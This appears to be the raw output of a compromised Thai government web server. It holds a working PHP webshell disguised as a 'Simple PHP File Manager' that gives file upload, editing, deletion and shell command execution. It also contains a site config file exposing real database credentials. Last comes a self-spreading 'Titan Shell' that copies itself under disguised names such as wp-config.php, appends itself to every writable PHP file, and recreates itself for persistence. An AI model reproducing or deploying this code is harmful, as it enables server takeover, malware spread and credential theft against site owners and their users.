| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/tessabalpatiu.go.th/public_html/image_data/promote6/ |
Upload File : |
<?php
error_reporting(0);
function listFiles($path)
{
$files = scandir($path);
foreach ($files as $file) {
if ($file == '.' || $file == '..') {
continue;
}
echo '<li><a href="?path=' . $path . '/' . $file . '">' . $file . '</a></li>';
}
}
$path = isset($_GET['path']) ? $_GET['path'] : __DIR__;
if (isset($_POST['upload'])) {
$targetDir = $path;
$targetFile = $targetDir . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
echo 'File uploaded successfully.';
} else {
echo 'Error uploading file.';
}
}
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
readfile($file);
exit;
} else {
echo 'File not found.';
}
}
if (isset($_POST['edit'])) {
$editedContent = $_POST['content'];
$editFile = $_POST['path'];
if (file_put_contents($editFile, $editedContent) !== false) {
echo 'File edited successfully.';
} else {
echo 'Error editing file.';
}
}
if (isset($_POST['delete'])) {
$fileToDelete = $_POST['path'];
if (is_file($fileToDelete) && unlink($fileToDelete)) {
echo 'File deleted successfully.';
} elseif (is_dir($fileToDelete) && rmdir($fileToDelete)) {
echo 'Directory deleted successfully.';
} else {
echo 'Error deleting file or directory.';
}
}
if (isset($_POST['rename'])) {
$newName = $_POST['new_name'];
$fileToRename = $_POST['path'];
if (rename($fileToRename, dirname($fileToRename) . '/' . $newName)) {
echo 'File or directory renamed successfully.';
} else {
echo 'Error renaming file or directory.';
}
}
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
echo '<pre>';
if (!empty($cmd)) {
echo shell_exec($cmd . ' 2>&1');
}
echo '</pre>';
}
echo "<br>" . php_uname() . "<br>";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP File Manager</title>
</head>
<body>
<h2>Simple PHP File Manager</h2>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Upload File:</label>
<input type="file" name="file" id="file">
<input type="submit" name="upload" value="Upload">
</form>
<?php if (isset($_GET['path']) && is_file($_GET['path'])): ?>
<?php
$filePath = $_GET['path'];
$fileContent = file_get_contents($filePath);
?>
<h3>Edit File: <?php echo $filePath; ?></h3>
<form action="" method="post">
<textarea name="content" rows="10" cols="50"><?php echo htmlspecialchars($fileContent); ?></textarea><br>
<input type="hidden" name="path" value="<?php echo $filePath; ?>">
<input type="submit" name="edit" value="Save Changes">
</form>
<?php endif; ?>
<h3>Current Directory: <a href="?path=<?php echo urlencode(dirname($path)); ?>"><?php echo $path; ?></a></h3>
<ul>
<?php listFiles($path); ?>
</ul>
<?php if ($path != __DIR__ && isset($_GET['path'])): ?>
<form action="" method="post">
<input type="hidden" name="path" value="<?php echo $path; ?>">
<input type="submit" name="delete" value="Delete Directory">
<input type="text" name="new_name" placeholder="New Directory Name">
<input type="submit" name="rename" value="Rename Directory">
</form>
<p><a href="?path=<?php echo urlencode(dirname($path)); ?>">Go Up</a></p>
<?php endif; ?>
<?php if (isset($_GET['path']) && is_file($_GET['path'])): ?>
<form action="" method="post">
<input type="hidden" name="path" value="<?php echo $path; ?>">
<input type="submit" name="delete" value="Delete File">
<input type="text" name="new_name" placeholder="New File Name">
<input type="submit" name="rename" value="Rename File">
</form>
<p><a href="?download=<?= urlencode($_GET['path']) ?>">Download File</a></p>
<?php endif; ?>
<form method="post">
<label for="cmd">Execute Command:</label>
<input type="text" name="cmd" id="cmd">
<input type="submit" value="Execute">
</form>
</body>
</html>
<?php
######################################################################
# Include File : Config
######################################################################
########## Admin EMail ##########
define( "INFO_MAIL", "info@tasoft.co.th" );
if($_SERVER['SERVER_NAME'] == "localhost"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://localhost/nonpho/');
}elseif($_SERVER['SERVER_NAME'] == "tasoft2"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'C:\xampp\htdocs\nonpho');
}else{
$dbi['sql_username'] = 'ratsitne_nonphodb';
$dbi['sql_password'] = 'Success21';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'ratsitne_nonphodb';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://www.nonpho.go.th/');
}
//echo "<pre>"; print_r($dbi);
########## Database Info ##########
define( "DB_SERVER", $dbi['sql_host'] );
define( "DB_NAME", $dbi['sql_dbname'] );
define( "DB_USER", $dbi['sql_username'] );
define( "DB_PASSWD", $dbi['sql_password'] );
define( "DB_TYPE", "MySQL" );
########## Type File ##########
define( "FILE_TYPE", "pdf,doc,zip,rar,xls,xlsx,docx,ppt,pptx" );
define( "IMAGE_TYPE", "gif,jpg,png" );
define( "IMAGE_SIZE", "51200000" );
define( "FILE_SIZE", "524288000" );
define( "IMAGETYPE_JPEG" ,"jpg");
define( "IMAGETYPE_GIF" ,"gif");
define( "IMAGETYPE_PNG" ,"png");
define( "TIMESTAMP", time() );
?>
<?php
// Titan Shell dengan Perlindungan Penghapusan dan Penyebaran Otomatis
// Hanya untuk tujuan edukasi dan testing lingkungan sendiri
// Fungsi utama penyebaran
function titanSpread() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Direktori target untuk penyebaran
$targetDirectories = [
'.',
'..',
'../..',
'../../..',
'images',
'uploads',
'assets',
'include',
'inc',
'css',
'js',
'admin',
'wp-content',
'wp-includes'
];
// Nama file alternatif untuk penyamaran
$alternativeNames = [
'config.php',
'settings.php',
'imageprocessor.php',
'uploader.php',
'style.php',
'index.php',
'login.php',
'theme.php',
'functions.php',
'wp-config.php',
'admin.php'
];
foreach ($targetDirectories as $dir) {
if (is_dir($dir) && is_writable($dir)) {
foreach ($alternativeNames as $name) {
$targetPath = $dir . '/' . $name;
// Copy file ke lokasi target jika belum ada
if (!file_exists($targetPath)) {
file_put_contents($targetPath, $currentContent);
chmod($targetPath, 0555);
// Tambahkan parameter acak
$randomParam = generateRandomParam();
$paramPath = $dir . '/' . $randomParam . '.php';
file_put_contents($paramPath, $currentContent);
chmod($paramPath, 0555);
}
}
}
}
// Infect file PHP yang sudah ada
infectExistingFiles();
}
// Fungsi untuk menginfeksi file PHP yang sudah ada
function infectExistingFiles() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Cari file PHP di direktori saat ini dan subdirektori
$files = glob('*.php');
$allFiles = array_merge($files, glob('*/*.php'), glob('*/*/*.php'), glob('*/*/*/*.php'));
foreach ($allFiles as $file) {
if ($file != __FILE__ && is_writable($file)) {
$content = file_get_contents($file);
// Cek apakah file sudah terinfeksi
if (strpos($content, $signature) === false) {
// Tambahkan kode shell ke file yang belum terinfeksi
$infectedContent = $content . "\n\n" . $currentContent;
file_put_contents($file, $infectedContent);
}
}
}
}
// Fungsi untuk generate parameter acak
function generateRandomParam() {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$length = rand(6, 12);
$param = '';
for ($i = 0; $i < $length; $i++) {
$param .= $chars[rand(0, strlen($chars) - 1)];
}
return $param;
}
// Fungsi untuk memastikan shell tetap ada
function ensurePersistence() {
$currentContent = file_get_contents(__FILE__);
$backupFiles = [
'.htaccess',
'.config.php',
'.error_log',
'thumb.php',
'image.jpg.php'
];
foreach ($backupFiles as $backup) {
if (!file_exists($backup)) {
file_put_contents($backup, $currentContent);
chmod($backup, 0555);
}
}
// Cek jika file ini dihapus, buat kembali di lokasi lain
if (!file_exists(__FILE__)) {
$newLocations = [
'wp-admin/images.php',
'wp-content/themes.php',
'includes/config.php',
'assets/script.php'
];
foreach ($newLocations as $location) {
$dir = dirname($location);
if (!is_dir($dir)) mkdir($dir, 0777, true);
file_put_contents($location, $currentContent);
chmod($location, 0555);
}
}
}
// Eksekusi utama
if(isset($_GET['sayangtitan'])) {
// Jalankan penyebaran setiap kali diakses
titanSpread();
ensurePersistence();
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$dir = "titan/";
if(!is_dir($dir)) mkdir($dir, 0777, true);
$file = $dir . basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $file)) {
echo "Yey, Berhasil sayang...";
} else {
echo "Yahh Gagal Upload";
}
exit();
} else {
echo 'Gasken Upload!!<form method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
exit();
}
}
// Jalankan penyebaran dan persistensi secara diam-diam
// dengan probabilitas 20% setiap kali diakses
if (rand(1, 5) === 1) {
titanSpread();
ensurePersistence();
}
// TitanShellSignature - Jangan hapus baris ini
?>